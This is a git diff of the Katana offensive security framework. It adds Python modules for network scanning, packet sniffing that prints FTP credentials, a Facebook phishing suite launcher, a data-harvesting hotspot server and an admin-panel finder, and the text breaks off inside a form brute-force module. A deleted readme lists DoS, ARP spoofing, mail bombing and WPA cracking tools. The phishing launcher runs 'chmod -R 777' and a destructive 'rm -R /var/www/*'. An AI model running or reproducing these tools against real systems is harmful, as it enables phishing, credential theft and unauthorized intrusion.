+ print " "+War+" ARP Table Changed ", " at: ", datetime.now().strftime('%H:%M:%S') + print " "+War+" Data: ---------------------------------------------" + print " "+look + print " ----------------------------------------------------------" + time.sleep(14) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(): + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/net/hostslive.py b/scripts/net/hostslive.py new file mode 100644 index 0000000..77dbc7a --- /dev/null +++ b/scripts/net/hostslive.py @@ -0,0 +1,90 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +from xml.dom import minidom # +import xml.etree.ElementTree as ET +import commands # +import re # +IPs=[] # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="2.0" + initialize.Despcription ="Host's live scanner in LAN" + initialize.CodeName ="net/cs.hosts" + initialize.DateCreation ="22/08/2015" + initialize.LastModification ="24/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[getFunction.Myip()+"/24", "range" , "yes" , "Range Scan"]] #[0][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSaveValue(actions) :getFunction.SaveValue(actions,IPs) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + if getFunction.isConect(): + Message.space() + commands.getoutput(NMAP_PATH+' -sn '+str(initialize.DEFAULT_VARIABLE[0][0])+' -oX tmp/ips.xml > null') + GateWay=getFunction.get_gateway() + tree = ET.parse('tmp/ips.xml') + root = tree.getroot() + IPf=0 + counter=0 + IP="" + for host in root.findall('host'): + for hosted in host.findall('address'): + if hosted.get('addrtype') == "ipv4": + IPf=hosted.get('addr') + else: + if GateWay == IPf : + IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0] + IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor'))) + print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0] + for HOST in IPs: + counter=counter+1 + print " ["+str(counter)+"]"+HOST + Message.space() + commands.getoutput('rm tmp/ips.xml > null') + else: + Message.Noconnect() + except: + Errors.Errors(event=sys.exc_info(), info=False) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(ranges): + initialize.DEFAULT_VARIABLE [0][0] = ranges + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/net/scan.py b/scripts/net/scan.py new file mode 100644 index 0000000..30aabd4 --- /dev/null +++ b/scripts/net/scan.py @@ -0,0 +1,168 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +from xml.dom import minidom # +import xml.etree.ElementTree as ET +import commands # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="2.0" + initialize.Despcription ="Ports, OS, Etc Scan to host." + initialize.CodeName ="net/sc.scan" + initialize.DateCreation ="28/11/2015" + initialize.LastModification ="25/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[getFunction.Myip() , "target" , "yes" , "Target or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[["profile-0" , "type " , "no" , "Profile scan"]] #[1][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions): + getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + Message.helpAUX() + print " "+colors[7]+"Type Description Speed"+colors[0] + print " [profile-0] Intense scan slow" + print " [profile-1] Intense scan plus UDP slow" + print " [profile-2] Intense scan, all TCP ports very slow" + print " [profile-3] Intense scan, no ping slow" + print " [profile-4] Ping scan fast" + print " [profile-5] Quick scan fast" + print " [profile-6] Quick scan plus fast" + print " [profile-7] Quick traceroute fast" + print " [profile-8] Regular scan slow" + print " [profile-9] Slow comprehensive scan fast" + Message.space() + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + if getFunction.isConect(): + parameter="-T4 -A -v" + if initialize.DEFAULT_VARIABLE[1][0] =="profile-0": + parameter="-T4 -A -v" + elif initialize.DEFAULT_VARIABLE[1][0]=="profile-1": + parameter="-sS -sU -T4 -A -v" + elif initialize.DEFAULT_VARIABLE[1][0]=="profile-2": + parameter="-p 1-65535 -T4 -A -v" + elif initialize.DEFAULT_VARIABLE[1][0]=="profile-3": + parameter="-T4 -A -v -Pn" + elif initialize.DEFAULT_VARIABLE[1][0]=="profile-4": + parameter="-sn" + elif initialize.DEFAULT_VARIABLE[1][0]=="profile-5": + parameter="-T4 -F" + elif initialize.DEFAULT_VARIABLE[1][0]=="profile-6": + parameter="-sV -T4 -O -F --version-light" + elif initialize.DEFAULT_VARIABLE[1][0]=="profile-7": + parameter="-sn --traceroute" + elif initialize.DEFAULT_VARIABLE[1][0]=="profile-8": + parameter="" + elif initialize.DEFAULT_VARIABLE[1][0]=="profile-9": + parameter="-sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script 'default or (discovery and safe)'" + else: + print " "+Bad+" Type not allow, use show options or sop and see Auxiliar help." + initialize.DEFAULT_VARIABLE[1][0]="profile-0" + main(True) + print " "+Alr+" Scanning Target: "+initialize.DEFAULT_VARIABLE[0][0]+" wait it may take a few minutes." + OSMATCHs=[] + SERVICEs=[] + INFORMEs=[] + MAC="Unknow" + VENDOR="Unknow" + Message.space() + commands.getoutput(NMAP_PATH+" "+parameter+" "+initialize.DEFAULT_VARIABLE[0][0]+" -oX tmp/portScanner-tmp.xml > null") + tree = ET.parse('tmp/portScanner-tmp.xml') + root = tree.getroot() + for host in root.findall('host'): + for address in host.findall('address'): + p=address.get('addr') + if not address.get('vendor'): + VENDOR=VENDOR + else: + VENDOR=address.get('vendor') + if p.find(":") <= 0 : + IP=address.get('addr') + else: + MAC=address.get('addr') + for ports in host.findall('ports'): + for port in ports.findall('port'): + PROTOCOL=port.get('protocol') + PORT=port.get('portid') + for service in port.findall('service'): + if not service.get('product'): + product="{NULL}" + version="{NULL}" + info="{NULL}" + else: + product=service.get('product') + version=service.get('version') + info=service.get('extrainfo') + product=str("{NULL}" if product is None else product) + version=str("{NULL}" if version is None else version) + info=str("{NULL}" if info is None else info) + SERVICEs.append(colors[7]+service.get('name')+colors[0]+" ["+product+"] "+version+info+" "+colors[10]+colors[3]+PROTOCOL+"-Port: "+PORT+colors[0]) + + for hostscript in host.findall('hostscript'): + for script in hostscript.findall('script'): + if script.get('id') == 'smb-os-discovery': + INFORMEs.append(script.get('output')) + + for os in host.findall('os'): + for osmatch in os.findall('osmatch'): + OSMATCHs.append(osmatch.get('name')) + print " Ip address: "+initialize.DEFAULT_VARIABLE[0][0] + print " Mac : "+MAC + print " Vendor : "+VENDOR + print " OS Matchs : " + for os in OSMATCHs: + print " "+os + print " Services : " + for services in SERVICEs: + print " "+str(services) + print " Report :" + for informer in INFORMEs: + informer=str("{NULL}" if informer is "" else informer) + print str(informer) + commands.getoutput('rm tmp/portScanner-tmp.xml > null') + Message.space() + else: + Message.Noconnect() + except: + Errors.Errors(event=sys.exc_info(), info=False) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,profile): + initialize.DEFAULT_VARIABLE [0][0] = target + initialize.DEFAULT_VARIABLE [1][0] = profile + main(False) +# END LINKER FUNCTION diff --git a/scripts/net/sniff.py b/scripts/net/sniff.py new file mode 100644 index 0000000..7cf0eec --- /dev/null +++ b/scripts/net/sniff.py @@ -0,0 +1,91 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Messages=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +from scapy.all import * # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.0" + initialize.Despcription ="Network Sniffer" + initialize.CodeName ="net/sc.sniff" + initialize.DateCreation ="22/03/2015" + initialize.LastModification ="27/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[["eth0" , "inter" , "yes" , "Device to sniff"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[["ALL" , "filter" , "no" , "filter sniff"]] #[1][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Messages.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions): + getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + Messages.helpAUX() + print " Current Interfaces : ", getFunction.get_interfaces() + Messages.space() + print " "+colors[7]+"Type Description"+colors[0] + print " [ALL] Whatever" + print " [DNS] Domains Name Service" + print " [FTP] File Transfer Protocol" + print " [POP] Post Office Protocol" + Messages.space() + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Messages.run() + # CODE MODULE ############################################################################################ + if initialize.DEFAULT_VARIABLE[1][0] == "DNS" : FILTER = "udp or port 53" + if initialize.DEFAULT_VARIABLE[1][0] == "FTP" : FILTER = "port 21" + if initialize.DEFAULT_VARIABLE[1][0] == "ALL" : FILTER = "udp or tcp" + if initialize.DEFAULT_VARIABLE[1][0] == "POP" : FILTER = "port 110" + if getFunction.checkDevice(initialize.DEFAULT_VARIABLE[0][0]): + print " "+colors[10]+" #\t"+colors[4]+"PROTOCOL\tSOURCE\t\tDESTINE\t\tDATA "+colors[0] + while True: + sniff(filter=FILTER, prn=callback, store=0, iface="wlan0") + else: + Messages.NoDeviceFound(initialize.DEFAULT_VARIABLE[0][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(device, filters): + initialize.DEFAULT_VARIABLE [0][0] = device + initialize.DEFAULT_VARIABLE [1][0] = filters + main(False) +# END LINKER FUNCTION + +def callback(pkt): + try: + if pkt.dport == 53: + return " "+colors[13]+str(pkt[IP].id)+"\t"+str(pkt[IP].proto)+"\t\t"+str(pkt[IP].src)+"\t"+pkt[DNS].qd.qname+colors[0] + if pkt.dport == 21: + return " "+colors[12]+str(pkt[IP].id)+"\t"+str(pkt[IP].proto)+"\t\t"+str(pkt[IP].src)+"\t"+str(pkt[IP].dst)+"\t"+pkt[Raw].load.replace("\n", ".")+colors[0] + if pkt.dport == 3306: + return " "+colors[11]+str(pkt[IP].id)+"\t"+str(pkt[IP].proto)+"\t\t"+str(pkt[IP].src)+"\t"+colors[0] + except: + f=1 + diff --git a/scripts/readme.txt b/scripts/readme.txt deleted file mode 100644 index 1ecddfb..0000000 --- a/scripts/readme.txt +++ /dev/null @@ -1,36 +0,0 @@ -{SCRITPS} - -Here File Scripts of Katana, the below is the description of each file. - - ۩ AdminFinder.py »Administrator seeks panel with brute force. - ۩ ARPLooking.py »Detect attacks of ARP Spoofing. - ۩ ARPPoisoning.py »Attacks of ARP Spoofing. - ۩ BruteForceFormBase.py »Consults to form-based with brute force. - ۩ BruteForceFTP.py »Brute force to File Transference Protocol. - ۩ BruteForceHTTP.py »Brute force to directories blocked by authentication. - ۩ BruteForcePOP3.py »Brute force to Post Office Protocol. - ۩ BruteForceSQL.py »Brute force to Structured Query Language. - ۩ BruteForceSSH.py »Brute force to Secure SHell. - ۩ BruteRAR.py »Brute force to RAR files. - ۩ BruteZIP.py »Brute force to ZIP files. - ۩ ClientFTP.py »Console Client for File Transference Protocol. - ۩ ClientMYSQL.py »Console Client for File Structured Query Language. - ۩ ClientPOP3.py »Console Client for File Post Office Protocol. - ۩ dosweb.py »Denegation of service to web Sites. - ۩ facebrok.py »Facebook phishing Suite. - ۩ forenseIMAGE.py »Forensic analysis images. - ۩ FuzzerFTP.py »Fuzzer Attack to File Transference Protocol. - ۩ GenDic.py »Generator of dictionaries. - ۩ GetDataReport.py »Gatherer of information through web. - ۩ Iandl.py »Information Computer. - ۩ Joomscan.py »Joomscan Launcher. - ۩ LANScanner.py »Found live host in the local network. - ۩ LFDconsole.py »Console for Local File Disclosure Vulnerability. - ۩ PortScanner.py »Port Scanner. - ۩ services.py »Start Services (HTTP, SSH, SQL). - ۩ smtpBombing.py »Mail Boombing for Attacks of SPAM. - ۩ TLogin.py »Tester of Login. - ۩ Whois.py »Who-is web site. - ۩ Wifi_DDOS.py »Denegation of service to wireless Network. - ۩ WpaBTF.py »Brute forcé to WPA Encriptation. - diff --git a/scripts/services.py b/scripts/services.py deleted file mode 100644 index dc78351..0000000 --- a/scripts/services.py +++ /dev/null @@ -1,31 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Module : Services # -# Script by : RedToor # -# Date : 11/06/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -import subprocess # -# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # - -def services(process): - try: - d.run() - print " "+Alr+" Starting "+process+"",ping.status_cmd("service "+process+" start","\t\t\t\t") - d.space() - raw_input(" "+Hlp+" Press any key for Stop Service") - print " "+Alr+" Stopping "+process+"",ping.status_cmd("service "+process+" stop","\t\t\t\t") - d.space() - return - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - services(process) \ No newline at end of file diff --git a/scripts/set/__init__.py b/scripts/set/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/scripts/set/__init__.py @@ -0,0 +1 @@ + diff --git a/scripts/set/facebrok.py b/scripts/set/facebrok.py new file mode 100644 index 0000000..9a7f720 --- /dev/null +++ b/scripts/set/facebrok.py @@ -0,0 +1,82 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.0" + initialize.Despcription ="facebrok project Launcher." + initialize.CodeName ="set/facebrok" + initialize.DateCreation ="23/08/2015" + initialize.LastModification ="24/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[["root" , "u_sql" , "yes" , "User Mysql"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[["" , "p_sql" , "no" , "Pass Mysql"]] #[1][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + print(" "+Alr+" Installing facebrok project in local server") + print " "+Alr+" Coping files to server",getFunction.status_cmd("cp -R files/facebrok/* "+PATCH_WWW,"\t\t\t") + print " "+Alr+" Giving privileges to files",getFunction.status_cmd("chmod -R 777 "+PATCH_WWW+"croak/","\t\t") + if True: + try: + print " "+Alr+" Starting Apache Server",getFunction.status_cmd("service apache2 start","\t\t\t") + print(" "+Alr+" Starting Mysql Server"),getFunction.status_cmd("service mysql start","\t\t\t") + print(" "+Alr+" Installing facebrok"),getFunction.status_cmd('wget -b -nv --post-data "server=127.0.0.1&user='+initialize.DEFAULT_VARIABLE[0][0]+'&pass='+initialize.DEFAULT_VARIABLE[1][0]+'&data=facebrok&userp=fbrok&passp=fbrok" 127.0.0.1/croak/install/startgame.php','\t\t\t') + Message.space() + print(" "+Got+" Project Running in http://127.0.0.1/") + print(" "+Got+" Control Panel in http://127.0.0.1/croak/ With: user[fbrok] pass[fbrok]") + Message.space() + raw_input(" "+Hlp+" Press [ENTER] key for Stop facebrok") + Message.space() + print(" "+Alr+" Stoping Process") + print " "+Alr+" Removing files",getFunction.status_cmd("rm -R "+PATCH_WWW+"*","\t\t\t\t") + print " "+Alr+" Stoping Apache",getFunction.status_cmd("service apache2 stop","\t\t\t\t") + print " "+Alr+" Stoping Mysql",getFunction.status_cmd("service mysql stop","\t\t\t\t") + Message.space() + except: + Message.space() + print(" "+Alr+" Stoping Process") + print " "+Alr+" Removing files",getFunction.status_cmd("rm -R /var/www/*","\t\t\t\t") + print " "+Alr+" Stoping Apache",getFunction.status_cmd("service apache2 stop","\t\t\t\t") + print " "+Alr+" Stoping Mysql",getFunction.status_cmd("service mysql stop","\t\t\t\t") + Message.space() + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(username,password): + initialize.DEFAULT_VARIABLE [0][0] = username + initialize.DEFAULT_VARIABLE [1][0] = password + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/set/getdatareport.py b/scripts/set/getdatareport.py new file mode 100644 index 0000000..6964d70 --- /dev/null +++ b/scripts/set/getdatareport.py @@ -0,0 +1,100 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import socket # +import select # +from threading import Thread # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.0" + initialize.Despcription ="Hotspoter web, assambly with GetDataReport Plugin." + initialize.CodeName ="set/hotspot" + initialize.DateCreation ="24/03/2016" + initialize.LastModification ="24/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[["www.google.com" , "to_url" ,"yes" , "Url redirect"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[["false" , "geoloc" ,"no" , "Geolocation"]] #[1][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + print " "+Alr+" Setting files",getFunction.status_cmd('mkdir -p '+PATCH_WWW+'r/ ; echo "" > '+PATCH_WWW+'r/appconfig.php & echo ',"\t\t\t\t") + print " "+Alr+" Coping files to server",getFunction.status_cmd("cp files/getdatareport/* "+PATCH_WWW+"r/","\t\t\t") + print " "+Alr+" Giving privileges to files",getFunction.status_cmd("chmod -R 777 "+PATCH_WWW+"r","\t\t") + if True: + try: + print " "+Alr+" Starting Apache Server",getFunction.status_cmd("service apache2 start","\t\t\t") + print " "+Alr+" Starting Script Server",getFunction.status_cmd("sudo fuser -kuv 6464/tcp > null","\t\t\t") + Message.space() + Message.go("Link HOT http://127.0.0.1/r/link.php?lKsm#s92Sa") + print (" "+Hlp+" to stop the module press "+colors[13]+"[Ctrl+c]"+colors[0]) + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.bind(("", 6464)) + server.listen(1) + print " "+Suf+" Waiting bees..." + while 1: + socket_cliente, datos_cliente = server.accept() + print " "+War+" beed: "+str(datos_cliente) + hilo = Cliente(socket_cliente, datos_cliente) + hilo.start() + raw_input(" "+Hlp+" Press any key for Stop GetDataReport") + except: + Errors.Errors(event=sys.exc_info(), info=False) + print "" + print(" "+Alr+" Stoping Process") + print " "+Alr+" Removing files",getFunction.status_cmd("rm "+PATCH_WWW+"r/link.php "+PATCH_WWW+"r/appconfig.php "+PATCH_WWW+"r/GetdataReport.Plugin.php","\t\t\t\t") + print " "+Alr+" Stoping Apache",getFunction.status_cmd("service apache2 stop","\t\t\t\t") + server.close() + Message.space() + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(url,javascript): + initialize.DEFAULT_VARIABLE [0][0] = url + initialize.DEFAULT_VARIABLE [1][0] = javascript + main(False) +# END LINKER FUNCTION + +class Cliente(Thread): + def __init__(self, socket_cliente, datos_cliente): + Thread.__init__(self) + self.socket = socket_cliente + self.datos = datos_cliente + + def run(self): + peticion = self.socket.recv(1024) + print peticion + self.socket.close() \ No newline at end of file diff --git a/scripts/smtpBombing.py b/scripts/set/smtpboombing.py similarity index 100% rename from scripts/smtpBombing.py rename to scripts/set/smtpboombing.py diff --git a/scripts/web/__init__.py b/scripts/web/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/scripts/web/__init__.py @@ -0,0 +1 @@ + diff --git a/scripts/web/adminfinder.py b/scripts/web/adminfinder.py new file mode 100644 index 0000000..d7e39a9 --- /dev/null +++ b/scripts/web/adminfinder.py @@ -0,0 +1,93 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import httplib # +import socket # +import time # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Administrator Panel finder, Search for Brute force possibles Cpanels." + initialize.CodeName ="anf/af.imagen" + initialize.DateCreation ="28/09/2015" + initialize.LastModification ="31/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[HTTP_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[[TABLE_FOLDER_ADMIN, "table" , "no" , "Tables commons"]] #[2][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + try: + Message.loading_file() + with open(initialize.DEFAULT_VARIABLE[2][0],'r') as dirt: + results="" + resultn="" + for patch in dirt: + patch=patch.replace("\n","") + patch = "/" + patch + connection = httplib.HTTPConnection(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + connection.request("GET",patch) + response = connection.getresponse() + if response.status == 200 or response.status == 301: + print " "+Suf+" Response "+patch + results="-"+Suf+" "+patch+"\n"+results + resultn=patch+","+resultn + else: + print " "+Alr+" Checking `"+colors[0]+patch+"` Response:"+str(response.status) + if results != "": + print "\n"+results + getFunction.savefive("Admin Finder",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],results) + else: + print "\n "+Nrs+" Not Results :(.\n" + + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,dictionary): + initialize.DEFAULT_VARIABLE [0][0] = target + initialize.DEFAULT_VARIABLE [1][0] = port + initialize.DEFAULT_VARIABLE [2][0] = dictionary + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/web/bruteforcetoformbase.py b/scripts/web/bruteforcetoformbase.py new file mode 100644 index 0000000..57adabf --- /dev/null +++ b/scripts/web/bruteforcetoformbase.py @@ -0,0 +1,100 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import httplib,urllib # +import socket # +import sys # +import time # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Brute Force to Form-based in Webs application." + initialize.CodeName ="web/bt.form" + initialize.DateCreation ="28/02/2015" + initialize.LastModification ="24/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[HTTP_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[["/KatanaLAB/run.php", "patch" , "yes" , "File patch"]] #[2][0] + initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username target"]] #[3][0] + initialize.DEFAULT_VARIABLE +=[[DITIONARY_PASSWORDS , "dict" , "no" , "Wordlist"]] #[4][0] + initialize.DEFAULT_VARIABLE +=[["administrator" , "data_a" , "yes" , "Name value 1"]] #[5][0] + initialize.DEFAULT_VARIABLE +=[["password" , "data_b" , "yes" , "Name value 2"]] #[6][0] + initialize.DEFAULT_VARIABLE +=[["POST" , "method" , "yes" , "Method form"]] #[7][0] + initialize.DEFAULT_VARIABLE +=[["Wrong" , "alert" , "yes" , "error login"]] #[8][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + 